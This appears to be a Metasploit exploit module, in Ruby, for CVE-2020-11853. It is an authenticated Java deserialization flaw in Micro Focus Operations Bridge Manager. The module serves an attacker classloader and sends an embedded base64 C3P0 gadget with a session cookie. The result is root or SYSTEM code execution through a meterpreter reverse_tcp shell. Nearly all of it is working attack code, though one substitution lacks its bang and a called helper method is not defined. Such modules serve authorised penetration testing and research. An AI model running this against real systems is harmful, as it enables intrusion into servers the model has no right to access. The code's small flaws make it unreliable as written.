156 lines
6.3 KiB
Ruby
156 lines
6.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::Java::HTTP::ClassLoader
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Micro Focus Operations Bridge Manager Authenticated Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits an authenticated Java deserialization that affects a truckload of Micro
|
|
Focus products: Operations Bridge Manager, Application Performance Management, Data Center Automation,
|
|
Universal CMDB, Hybrid Cloud Management and Service Management Automation. However this module
|
|
was only tested on Operations Bridge Manager.
|
|
Exploiting this vulnerability will result in remote code execution as the root user on Linux or
|
|
the SYSTEM user on Windows.
|
|
Authentication is required, the module user needs to login to the application and obtain the
|
|
authenticated LWSSO_COOKIE_KEY, which should be fed to the module. Any authenticated user can
|
|
exploit this vulnerability, even the lowest privileged ones.
|
|
For more information refer to the advisory link below.
|
|
},
|
|
'Author' => [
|
|
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
|
|
],
|
|
'References' => [
|
|
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md'],
|
|
[ 'CVE', '2020-11853'],
|
|
[ 'ZDI', '20-1327'],
|
|
],
|
|
'DisclosureDate' => '2020-10-28',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'java',
|
|
'Arch' => ARCH_JAVA,
|
|
'Privileged' => true,
|
|
'Targets' => [
|
|
['Micro Focus Operations Bridge Manager <= 2020.05 (and many other MF products)', {}]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'java/meterpreter/reverse_tcp'
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'SideEffects' => [ IOC_IN_LOGS ],
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
Opt::RPORT(443),
|
|
OptString.new('TARGETURI', [true, 'Base path', '/']),
|
|
OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
|
|
OptString.new('LWSSO_COOKIE_KEY', [true, 'Authenticated LWSSO_COOKIE_KEY session cookie'])
|
|
])
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, '/topaz/login.jsp')
|
|
})
|
|
|
|
# unfortunately could not find an easy way to detect the version running, even when auth
|
|
if res && res.code == 200 && res.body.include?('Login - Operations Bridge Manager')
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
def exploit
|
|
# Start our HTTP server to provide remote classloading
|
|
@classloader_uri = start_service
|
|
|
|
unless @classloader_uri
|
|
fail_with(Failure::BadConfig, 'Could not start remote classloader server')
|
|
end
|
|
|
|
print_good("Started remote classloader server at #{@classloader_uri}")
|
|
|
|
# heh, we got two of these, let's pick one randomly!
|
|
vuln_uri = [
|
|
'/legacy/topaz/sitescope/conf/registration',
|
|
'/legacy/topaz/sitescope/conf/download'
|
|
].sample
|
|
|
|
# Send our remote classloader gadget to the target, triggering the vuln
|
|
send_request_gadget(
|
|
normalize_uri(target_uri.path, vuln_uri)
|
|
)
|
|
end
|
|
|
|
# Convenience method to send our gadget to a URI
|
|
def send_request_gadget(uri)
|
|
print_status("Sending remote classloader gadget to #{full_uri(uri)}")
|
|
|
|
send_request_raw({
|
|
'method' => 'POST',
|
|
'uri' => uri,
|
|
'cookie' => "LWSSO_COOKIE_KEY=#{datastore['LWSSO_COOKIE_KEY']}",
|
|
'headers' => { 'Content-Type' => 'application/octet-stream' },
|
|
'data' => go_go_gadget
|
|
}, 0)
|
|
end
|
|
|
|
# C3P0 payload generated with a ysoserial jar
|
|
# The ysoserial jar needs to be built with c3p0 version 0.9.1.2 as that is what the target uses
|
|
# See the advisory for details.
|
|
#
|
|
# java -jar ysoserial-0.0.6-SNAPSHOT-all-c3p0-0.9.1.2.jar C3P0 'http://whatever/:ExploitClass' | base64
|
|
def go_go_gadget
|
|
gadget = Rex::Text.decode_base64(
|
|
<<~EOF
|
|
rO0ABXNyAChjb20ubWNoYW5nZS52Mi5jM3AwLlBvb2xCYWNrZWREYXRhU291cmNlZoRH/BzETxgC
|
|
AAB4cgA1Y29tLm1jaGFuZ2UudjIuYzNwMC5pbXBsLkFic3RyYWN0UG9vbEJhY2tlZERhdGFTb3Vy
|
|
Y2UAAAAAAAAAAQMAAHhyADFjb20ubWNoYW5nZS52Mi5jM3AwLmltcGwuUG9vbEJhY2tlZERhdGFT
|
|
b3VyY2VCYXNlAAAAAAAAAAEDAAdJABBudW1IZWxwZXJUaHJlYWRzTAAYY29ubmVjdGlvblBvb2xE
|
|
YXRhU291cmNldAAkTGphdmF4L3NxbC9Db25uZWN0aW9uUG9vbERhdGFTb3VyY2U7TAAOZGF0YVNv
|
|
dXJjZU5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABRmYWN0b3J5Q2xhc3NMb2NhdGlvbnEAfgAE
|
|
TAANaWRlbnRpdHlUb2tlbnEAfgAETAADcGNzdAAiTGphdmEvYmVhbnMvUHJvcGVydHlDaGFuZ2VT
|
|
dXBwb3J0O0wAA3Zjc3QAIkxqYXZhL2JlYW5zL1ZldG9hYmxlQ2hhbmdlU3VwcG9ydDt4cHcCAAFz
|
|
cgA9Y29tLm1jaGFuZ2UudjIubmFtaW5nLlJlZmVyZW5jZUluZGlyZWN0b3IkUmVmZXJlbmNlU2Vy
|
|
aWFsaXplZGIZhdDRKsITAgAETAALY29udGV4dE5hbWV0ABNMamF2YXgvbmFtaW5nL05hbWU7TAAD
|
|
ZW52dAAVTGphdmEvdXRpbC9IYXNodGFibGU7TAAEbmFtZXEAfgAJTAAJcmVmZXJlbmNldAAYTGph
|
|
dmF4L25hbWluZy9SZWZlcmVuY2U7eHBwcHBzcgAWamF2YXgubmFtaW5nLlJlZmVyZW5jZejGnqKo
|
|
6Y0JAgAETAAFYWRkcnN0ABJMamF2YS91dGlsL1ZlY3RvcjtMAAxjbGFzc0ZhY3RvcnlxAH4ABEwA
|
|
FGNsYXNzRmFjdG9yeUxvY2F0aW9ucQB+AARMAAljbGFzc05hbWVxAH4ABHhwc3IAEGphdmEudXRp
|
|
bC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwAL
|
|
ZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAHVyABNbTGphdmEubGFu
|
|
Zy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAApwcHBwcHBwcHBweHQADEV4cGxvaXRDbGFzc3QAEGh0
|
|
dHA6Ly93aGF0ZXZlci90AAdleHBsb2l0cHBwdwQAAAAAeHcCAAF4
|
|
EOF
|
|
)
|
|
|
|
# Replace length-prefixed placeholder strings with our own
|
|
gadget.sub!("\x00\x10http://whatever/", packed_classloader_uri)
|
|
gadget.sub!("\x00\x07exploit", packed_class_name)
|
|
gadget.sub("\x00\x0cExploitClass", packed_class_name)
|
|
end
|
|
|
|
# Convenience method to pack the classloader URI as a length-prefixed string
|
|
def packed_classloader_uri
|
|
"#{[@classloader_uri.length].pack('n')}#{@classloader_uri}"
|
|
end
|
|
|
|
end
|